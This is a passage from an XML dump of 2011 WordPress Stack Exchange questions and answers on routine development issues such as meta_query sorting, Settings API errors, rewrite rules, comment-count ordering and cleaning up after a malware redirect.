with a set sort order).  However, what actually happened was any posts that didn't have a sort order value set were NOT returned at all...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I tried adding multiple values in the orderby field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;('orderby'=&amp;gt;'meta_value_num date')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That completely blew up both sort orders I was going for and returned the posts in an unexpected way.  I was under the impression that multiple orderby values were allowed, but for some reason it's not working here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I'm not sure how to make either of these potential solutions work.  Does anyone know how I can either 1) Sort posts by the &quot;my-sort-order&quot; field first, then have the remaining posts with no value in that field returned with the default date sort; or 2) Figure out how to control the secondary orderby sort so any posts that have a tie on &quot;my-sort-order&quot; will be sorted by date (newest first)? &lt;/p&gt;&#xA;" OwnerUserId="2677" LastActivityDate="2011-08-22T06:02:24.887" Title="How to query_posts using meta_query to orderby meta_key AND have a secondary sort by date?" Tags="&lt;query-posts&gt;&lt;sort&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="23701" PostTypeId="1" AcceptedAnswerId="23704" CreationDate="2011-07-21T19:42:36.473" Score="1" ViewCount="79" Body="&lt;p&gt;The &lt;a href=&quot;http://justintadlock.com/plugindevbook&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress Plugin Development&lt;/a&gt; book explains in detail how to properly use the Settings API, and it also demonstrates how to add Menus and Submenus, but unfortunately it doesn't provide any joined-up examples of this. Whilst I've managed to get most of it working, I can't figure out how to properly implement add_settings_error on custom Menu pages. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function settings_main_validate( $input ) {&#xA;$valid['text_string'] = preg_replace( '/[^a-zA-Z]/', '', $input['text_string'] );&#xA;&#xA;if ( $valid['text_string'] != $input['text_string'] ) {&#xA;    //add_setting_error: $title, $id, $error_message, $class&#xA;    add_settings_error( 'fields_main_input', 'texterror', 'Incorrect value entered!', 'error' );&#xA;}   &#xA;&#xA;return $valid;&#xA;}                  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The validation above will work great on setting rendered using &lt;code&gt;add_options_page&lt;/code&gt;, but will not display the settings errors on pages rendered with &lt;code&gt;add_menu_page&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-07-22T13:20:41.180" Title="How should one implement add_settings_error on custom menu pages?" Tags="&lt;plugin-development&gt;&lt;errors&gt;&lt;validation&gt;&lt;settings-api&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23702" PostTypeId="2" ParentId="3720" CreationDate="2011-07-21T19:44:07.360" Score="0" ViewCount="" Body="&lt;p&gt;or Just use URL: feed://www.myurl.org/feed?post_type=news&amp;amp;category_name=MyCategory&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-07-21T19:44:07.360" />
  <row Id="23704" PostTypeId="2" ParentId="23701" CreationDate="2011-07-21T19:55:06.347" Score="4" ViewCount="" Body="&lt;p&gt;There are several components to error/notice creation and display process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_settings_error&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_settings_error()&lt;/code&gt;&lt;/a&gt; call to add item to stack (global &lt;code&gt;$wp_settings_errors&lt;/code&gt; variable).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;settings_errors&lt;/code&gt; transient that keeps the errors so they survive move from page to page.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/settings_errors&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;settings_errors()&lt;/code&gt;&lt;/a&gt; function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_settings_errors&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_settings_errors()&lt;/code&gt;&lt;/a&gt; to retrieve errors from memory or transient and then displays them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These work like a charm for Settings API, but unfortunately they aren't setup for generic use. On other hand it is trivial to work around that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook &lt;code&gt;settings_errors()&lt;/code&gt; to &lt;code&gt;admin_notices&lt;/code&gt; on your plugin's page, pass the error code to it so it only shows your stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually save errors to &lt;code&gt;settings_errors&lt;/code&gt; transient (just stuff that global variable into it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;get_settings_errors()&lt;/code&gt; expects hint in GET parameters (&lt;code&gt;$_GET['settings-updated']&lt;/code&gt;) that it should check transient instead of memory you can either provide that or get errors from transient yourself and save them back to global variable before your &lt;code&gt;settings_errors()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are turning this into bit of a mess with multiple question, so I will try to address your concerns here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings API &lt;strong&gt;does&lt;/strong&gt; work with admin pages, that don't use Settings section as base. Your real issue is that in that case error/notice reporting does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First here is what happens when you post form, set up with Settings API:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Data gets posted to special &lt;code&gt;options.php&lt;/code&gt; page.&lt;/li&gt;&#xA;&lt;li&gt;There data gets sanitized/validated using callback.&lt;/li&gt;&#xA;&lt;li&gt;Any error/notices that came up during sanitization/validation are collected and saved in transient.&lt;/li&gt;&#xA;&lt;li&gt;You are redirected back to &lt;strong&gt;wherever you came from&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now when you load admin page it checks &lt;strong&gt;if this page belongs to Settings section&lt;/strong&gt; and if that case includes tiny &lt;code&gt;options-head.php&lt;/code&gt; file, that deals with retrieving and displaying errors notices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only thing &quot;not working&quot; on other pages is this latter step, which is trivial to do yourself with overview of related function above (I probably went into too much details on transient, you won't need that for basic case).&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-22T13:20:41.180" LastActivityDate="2011-07-22T13:20:41.180" CommentCount="11" />
  <row Id="23705" PostTypeId="2" ParentId="23690" CreationDate="2011-07-21T20:03:20.910" Score="0" ViewCount="" Body="&lt;p&gt;My idea may be tricky to put in practice (hope not impossible!), but you can add a filter for &lt;code&gt;the_excerpt&lt;/code&gt; or &lt;code&gt;get_the_excerpt&lt;/code&gt; and, since you are in the loop you may be able to find the post ID using the global &lt;code&gt;$post&lt;/code&gt; or query var in your function, then, get the entire content of the post, find the videos and add them at the beginning or at the end of the excerpt.&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2011-07-21T20:03:20.910" />
  <row Id="23706" PostTypeId="1" AcceptedAnswerId="23709" CreationDate="2011-07-21T20:08:00.643" Score="0" ViewCount="54" Body="&lt;p&gt;Several months ago my site (powered by WordPress) got hit by that webarh malware infection that set up a bunch of .htaccess redirects to its domain. Restoration of a good site backup nixed the problem, but apparently not entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, whenever I use Chrome, I log into my website's admin panel, and either edit an existing post or add a new post, as soon as the page finishes rendering I'm immediately kicked out to Chrome's warning page about my site containing content from this malware site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a MySQL search of all post_content and comment_content, as well as ran a grep through all the PHP/JS/CSS files I can find, in addition to searching for any remaining rogue .htaccess or index.php files, to no avail. As I mentioned, it happens the moment the post.php or post-new.php finishes rendering and just before any existing text shows up in the box. This leads me to believe it's a plugin that's somehow associated with the text editor that's infected, but I'm not really sure where to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Firefox issues no warnings at all and allows me to edit as usual. Only Chrome does this (and has been ever since restoring the site). Any thoughts would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; In the interest of full disclosure, this is my site: www.magsolweb.net . Again, everything seems to be fine, except when adding a new post or editing an existing one.&lt;/p&gt;&#xA;" OwnerUserId="7223" LastEditorUserId="7223" LastEditorDisplayName="" LastEditDate="2011-07-21T21:00:46.653" LastActivityDate="2011-07-21T21:10:53.550" Title="Cannot find webarh/malware redirect infection that only shows on Chrome" Tags="&lt;htaccess&gt;&lt;google-chrome&gt;" AnswerCount="2" />
  <row Id="23707" PostTypeId="2" ParentId="23706" CreationDate="2011-07-21T20:28:30.570" Score="0" ViewCount="" Body="&lt;p&gt;Register your site with Google's webmaster tools. This will give you more information about your site's malware problem. If you can give your website address then maybe someone here can identify what is wrong with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.com/webmasters/tools/malware?hl=en&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/webmasters/tools/malware?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-07-21T20:28:30.570" CommentCount="4" />
  <row Id="23708" PostTypeId="1" CreationDate="2011-07-21T20:43:31.550" Score="0" ViewCount="44" Body="&lt;p&gt;I have a problem with URL rewrite with cutom post type &amp;amp; taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my actual code &lt;a href=&quot;http://pastebin.com/Q8USd2Tv&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/Q8USd2Tv&lt;/a&gt; (I removed stuff like labels etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my link to be like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overview page: /base/ &#xA;Taxonomy: /base/taxonomy-name&#xA;Detail page: /base/taxonomy-name/single-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7225" LastActivityDate="2011-07-21T20:43:31.550" Title="Wordpress custom post type &amp; taxonomy rewrite problem" Tags="&lt;custom-post-types&gt;&lt;url-rewriting&gt;&lt;taxonomy&gt;" />
  <row Id="23709" PostTypeId="2" ParentId="23706" CreationDate="2011-07-21T21:05:52.070" Score="0" ViewCount="" Body="&lt;p&gt;Switch to twentyten or another theme for a second and make a test post. That will eliminate the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And replace all WP core files folders with ones of the same version; it could still be hiding there. Just upload them; don't do an install. This is a typical hack fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you did completely clean the site, it could be a a fluke of the theme's js - or a plugin - that is throwing a signature that Chrome interprets as malware.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-07-21T21:10:53.550" LastActivityDate="2011-07-21T21:10:53.550" CommentCount="1" />
  <row Id="23710" PostTypeId="1" CreationDate="2011-07-21T21:41:08.040" Score="-1" ViewCount="50" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23701/how-should-one-implement-add-settings-error-on-custom-menu-pages&quot;&gt;How should one implement add_settings_error on custom menu pages?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;The Settings API offers all sorts of labour saving features and future proof code. I find it really odd that it's not designed to work with plugins using custom admin menus. Is there any reason  for this? Is the situation likely to change in future?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="1341" LastEditorDisplayName="" LastEditDate="2011-07-21T21:54:39.167" LastActivityDate="2011-07-21T21:56:17.033" ClosedDate="2011-07-22T13:11:43.183" Title="Why isn't the Settings API designed to work for plugins using custom admin menus?" Tags="&lt;plugin-development&gt;&lt;custom-menus&gt;&lt;settings-api&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23711" PostTypeId="2" ParentId="23710" CreationDate="2011-07-21T21:56:17.033" Score="0" ViewCount="" Body="&lt;p&gt;The Settings API works just fine on any Admin page; it doesn't care where it is, as long as you tie the settings form to the registered setting, and provide a valid callback function.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-21T21:56:17.033" CommentCount="7" />
  <row Id="23712" PostTypeId="1" CreationDate="2011-07-21T22:01:57.283" Score="0" ViewCount="57" Body="&lt;p&gt;I have an events cpt with a slug &quot;event&quot;  I am using it in several places but I am trying to create a &quot;day&quot; view that shows all the events for a given day.  I also have the archive arg set in the CPT creation in functions.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been around and around on this one but essentially here is what I am trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/index.php?post_type=event&amp;amp;event-date=2011-07-25&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this brings up a page that lists a whole bunch of crap(random posts), not the events for that day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if I change it to event_archive.php?post_type=event&amp;amp;event-date=2011-07-25, I get a Page can't be found error.  I am not even worried about custom rewrite rules at this point, I just want it to work. &lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-08-23T09:33:46.200" Title="How does: /index.php?post_type=event&amp;event-date=2011-07-25 work? What if it doesn't work?" Tags="&lt;custom-post-types&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="23713" PostTypeId="2" ParentId="22872" CreationDate="2011-07-21T22:48:55.093" Score="-1" ViewCount="" Body="&lt;p&gt;I noticed this plugin will eval scripts returned to it from the server. This is a pretty poor design; I'd audit it quite carefully and remove functionality if I were you.&lt;/p&gt;&#xA;" OwnerUserId="7227" LastActivityDate="2011-07-21T22:48:55.093" CommentCount="1" />
  <row Id="23714" PostTypeId="2" ParentId="22872" CreationDate="2011-07-21T22:51:06.447" Score="1" ViewCount="" Body="&lt;p&gt;Try this one instead &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/si-contact-form/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/si-contact-form/&lt;/a&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safest thing to do is just have no contact form and a plain old email link. &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-21T22:51:06.447" />
  <row Id="23715" PostTypeId="1" CreationDate="2011-07-21T22:56:25.463" Score="0" ViewCount="32" Body="&lt;p&gt;here is the example SQL used in this example from google maps api. From this website here :http://code.google.com/apis/maps/articles/phpsqlsearch.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;SELECT id, ( 3959 * acos( cos( radians(37) ) * cos( radians( lat ) ) * cos( radians( lng ) - radians(-122) ) + sin( radians(37) ) * sin( radians( lat ) ) ) ) AS distance FROM markers HAVING distance &amp;lt; 25 ORDER BY distance LIMIT 0 , 20;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would this translate as a wp query where the 'lat' and 'lng' are custom fields from a custom post type with 'category' like taxonomy... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex ( Locations ( post type ) , Alberta -&gt; Edmonton ( taxonomy - category like ) )&lt;/p&gt;&#xA;" OwnerUserId="7228" LastActivityDate="2011-07-21T22:56:25.463" Title="Google maps my SQL statement , how to translate for wordpress" Tags="&lt;custom-post-types&gt;&lt;wp-query&gt;&lt;sql&gt;&lt;google-maps&gt;" />
  <row Id="23716" PostTypeId="1" CreationDate="2011-07-21T22:58:01.313" Score="0" ViewCount="99" Body="&lt;p&gt;Using Wordpress Stats on my site. On the admin bar when logged in and viewing the site, the spark image with daily stats is broken. It's not a critical issue, just an annoyance. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/S1cUb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Broken URL: &lt;a href=&quot;http://www.denveroffthewagon.com/wp-admin/?page=stats&amp;amp;noheader&amp;amp;proxy&amp;amp;chart=admin-bar-hours&amp;amp;height=20&amp;amp;hours=48&quot; rel=&quot;nofollow&quot;&gt;http://www.denveroffthewagon.com/wp-admin/?page=stats&amp;amp;noheader&amp;amp;proxy&amp;amp;chart=admin-bar-hours&amp;amp;height=20&amp;amp;hours=48&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7229" LastEditorUserId="7229" LastEditorDisplayName="" LastEditDate="2011-08-14T16:07:17.293" LastActivityDate="2011-08-15T02:05:10.507" Title="Admin bar stats widget plugin image broken" Tags="&lt;admin&gt;&lt;images&gt;&lt;wordpress.org&gt;&lt;stats&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="23717" PostTypeId="2" ParentId="23690" CreationDate="2011-07-21T23:05:22.540" Score="0" ViewCount="" Body="&lt;p&gt;The excerpt is not meant for content that is why it is called &quot;the excerpt&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead use a plugin like &quot;Vipers Video Quicktags&quot; or &quot;Youtube shortcode&quot; and add it to a template file and you'll probably want to get the url via a post meta field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example ( using Youtube shortcode plugin and meta field called &quot;video&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$video = get_post_meta($post-&amp;gt;ID, 'video', true);&#xA;echo do_shortcode('[youtube_sc url='$video']'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-21T23:05:22.540" CommentCount="1" />
  <row Id="23718" PostTypeId="1" CreationDate="2011-07-21T23:20:18.853" Score="0" ViewCount="13" Body="&lt;p&gt;I have an event cpt, with a date structured -&gt; 2011-07-25  and a start-time 13:15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone direct me on how to integrate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-07-21T23:20:18.853" Title="how can I implement ical integration with an Events CPT?" Tags="&lt;custom-post-types&gt;&lt;calendar&gt;" />
  <row Id="23719" PostTypeId="2" ParentId="20494" CreationDate="2011-07-21T23:24:36.527" Score="0" ViewCount="" Body="&lt;p&gt;You need some variable to let this page know if it's successful or not. &#xA;With-in a conditional statement would go your link to download the video.&#xA;This might involve a custom template page, or some sort of custom shortcode to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might name a variable like &quot;$showVid&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from there , use the on_sent_ok: &quot;location = 'http://example.com/'; where the 'example.com' is a &lt;strong&gt;dummy&lt;/strong&gt;  page ( for lack of better terms ) that simply &lt;em&gt;redirects back to the contact form page&lt;/em&gt;, now with a POST variable in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign that variable to let you page know it's time to show the hyperlink.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$showVid = isset( $_POST['success'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*I'm not sure how to or if you can send POST data back with wp_redirect, perhaps that's another question that could be found/answered on here.*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Alternatively&lt;/em&gt; you might use a cookie to let your browser know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now in doing this you still might want to do the redirect thing, but this time your not sending variable back from the dummy page, your just basically refreshing the page real quick, and then back with a cookie set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now assign this same variable from the cookie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$showVid = isset( $_COOKIE['success'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you conditional might be something such as :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($showVid)  _( 'code for download link ' ) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7228" LastActivityDate="2011-07-21T23:24:36.527" />
  <row Id="23722" PostTypeId="2" ParentId="22674" CreationDate="2011-07-22T00:31:14.467" Score="0" ViewCount="" Body="&lt;p&gt;Okay, I found a work around so I can save menus as long as I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the &lt;a href=&quot;http://gecka-apps.com/wordpress-plugins/gecka-submenu-pro/&quot; rel=&quot;nofollow&quot;&gt;Gecka Submenu Pro&lt;/a&gt; plugin. It worked great. I wish that I had found this solution 2 weeks ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(No, I do not work for Gecka. I'm not receiving anything from them. They didn't ask me to post this.)&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-22T00:31:14.467" />
  <row Id="23723" PostTypeId="1" AcceptedAnswerId="23806" CreationDate="2011-07-22T00:41:28.843" Score="0" ViewCount="47" Body="&lt;p&gt;This lists the posts in my custom taxonomy template page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I order those posts by comment count?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-07-22T19:29:52.527" Title="How to order posts by descending comment count on taxonomy page?" Tags="&lt;query-posts&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="23724" PostTypeId="2" ParentId="23712" CreationDate="2011-07-22T00:44:20.717" Score="0" ViewCount="" Body="&lt;p&gt;You will have to use the rewrite API to get that to work. First you need to register the rewrite rule.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse23712_rewrites' );&#xA;function wpse23712_rewrites()&#xA;{&#xA;    add_rewrite_rule( 'events/day/(\d{4}-\d{2}-\d{2})/', 'index.php?post_type=event&amp;amp;event_date=$matches[1]', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add your event_date to the query vars so wordpress understands it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'query_vars', 'wpse23712_vars' );&#xA;function wpse23712_vars ( $vars )&#xA;{&#xA;    $vars[] = 'event_date';&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the front end (in your archive-event.php) you can grab the event date with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_query_var&quot; rel=&quot;nofollow&quot;&gt;get_query_var()&lt;/a&gt; and use it in your query. I'd suggest you store something with a custom field (in the wp_postmeta table) for each even with the ISO formatted date.  Then you can run a meta_query to retrieve those event posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when someone navigates to yoursite.com/event/day/2011-07-28/ it will show events for that day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't test the above, but you should able to take it from here.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-07-22T00:44:20.717" CommentCount="6" />
  <row Id="23725" PostTypeId="2" ParentId="23723" CreationDate="2011-07-22T01:07:56.103" Score="1" ViewCount="" Body="&lt;p&gt;WP Query has a comment_count parameter since 2.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array('orderby' =&amp;gt; 'comment_count', 'posts_per_page' =&amp;gt; '10'));&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-22T13:54:52.957" LastActivityDate="2011-07-22T13:54:52.957" CommentCount="4" />
  <row Id="23727" PostTypeId="2" ParentId="23674" CreationDate="2011-07-22T01:43:23.463" Score="0" ViewCount="" Body="&lt;p&gt;Yes you can do it, it is a little complex to write here so my anser will be links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wptavern.com/forum/general-wordpress/1837-custom-post-types-different-templates.html&quot; rel=&quot;nofollow&quot;&gt;http://www.wptavern.com/forum/general-wordpress/1837-custom-post-types-different-templates.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wpbeginner.com/wp-themes/create-custom-single-post-templates-for-specific-posts-or-sections-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpbeginner.com/wp-themes/create-custom-single-post-templates-for-specific-posts-or-sections-in-wordpress/&lt;/a&gt; ( this is for posts but you can modify it for CPT's)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nathanrice.net/blog/wordpress-single-post-templates/&quot; rel=&quot;nofollow&quot;&gt;http://www.nathanrice.net/blog/wordpress-single-post-templates/&lt;/a&gt; ( this is for posts but you can modify it for CPT's)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a good idea for a plugin actually.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-22T01:43:23.463" />
  <row Id="23728" PostTypeId="1" CreationDate="2011-07-22T01:44:20.220" Score="0" ViewCount="17" Body="&lt;p&gt;Not very familiar wordpress. The issue is that the header on the blog does not show the style on a static menu I added to the header. Works on the landing page where multiple posts are shown, but on a post's detail page, the style is missing. The link is &lt;a href=&quot;http://leafophoto.com/blog/&quot; rel=&quot;nofollow&quot;&gt;http://leafophoto.com/blog/&lt;/a&gt; and a single post that you can look at is &lt;a href=&quot;http://leafophoto.com/blog/?p=2020&quot; rel=&quot;nofollow&quot;&gt;http://leafophoto.com/blog/?p=2020&lt;/a&gt;. Any suggestions would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:Spoke with a friend and got this resolved. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7233" LastEditorUserId="7233" LastEditorDisplayName="" LastEditDate="2011-07-22T02:18:41.243" LastActivityDate="2011-07-22T02:18:41.243" Title="Single Page Not Recognizing Style For Static Nav Added to header.php" Tags="&lt;custom-menus&gt;&lt;css&gt;" />
  <row Id="23729" PostTypeId="1" CreationDate="2011-07-22T02:25:48.000" Score="1" ViewCount="24" Body="&lt;p&gt;I'm using some blank pages that have a title only and a URL set to '#' for my navigation. (So, that the item appears in the dropdown menu, but when it's clicked a page doesn't open). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to make sure that Google doesn't try to index these pages? I don't want to be penalized by Google. Should it be a concern?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4509" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-22T06:46:03.780" LastActivityDate="2011-07-22T06:46:03.780" Title="Blank Pages with # URL &amp; Google" Tags="&lt;page&gt;&lt;urls&gt;&lt;navigation&gt;&lt;seo&gt;&lt;noindex&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23730" PostTypeId="2" ParentId="23729" CreationDate="2011-07-22T02:49:38.770" Score="1" ViewCount="" Body="&lt;p&gt;Google knows what these are - you do not need to worry.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-22T02:49:38.770" />
  <row Id="23731" PostTypeId="1" CreationDate="2011-07-22T02:57:24.793" Score="0" ViewCount="15" Body="&lt;p&gt;I would like to know how to show through in the sidebar, without going to the backend administration screen&#xA;when you get new comments and posts pending for approval&lt;/p&gt;&#xA;&#xA;&lt;p&gt;show the warning only if I am author or admin&#xA;clicking this notice, go to a screen to approve or reject&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how to resolve this complex issue?&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-07-22T02:57:24.793" Title="show in frontend when comments and posts are pending" Tags="&lt;posts&gt;&lt;comment&gt;" />
  <row Id="23732" PostTypeId="1" AcceptedAnswerId="23734" CreationDate="2011-07-22T03:00:20.980" Score="1" ViewCount="22" Body="&lt;p&gt;I am making a portfolio site where each portfolio entry is a subpage of &quot;Work&quot;. In my template, I am trying to say something like: worked on 15 projects and counting, where 15 is the total number of subpages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the easiest way to do this?&lt;/p&gt;&#xA;" OwnerUserId="6408" LastActivityDate="2011-07-22T03:49:13.680" Title="Easiest way to show total number of subpages" Tags="&lt;php&gt;&lt;template&gt;&lt;loop&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="23733" PostTypeId="2" ParentId="12667" CreationDate="2011-07-22T03:15:20.887" Score="0" ViewCount="" Body="&lt;p&gt;Congratulations for the code, in my case, I just need a disclaimer on the sidebar for anyone who is author or admin of new posts and comments pending&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-07-22T03:15:20.887" />
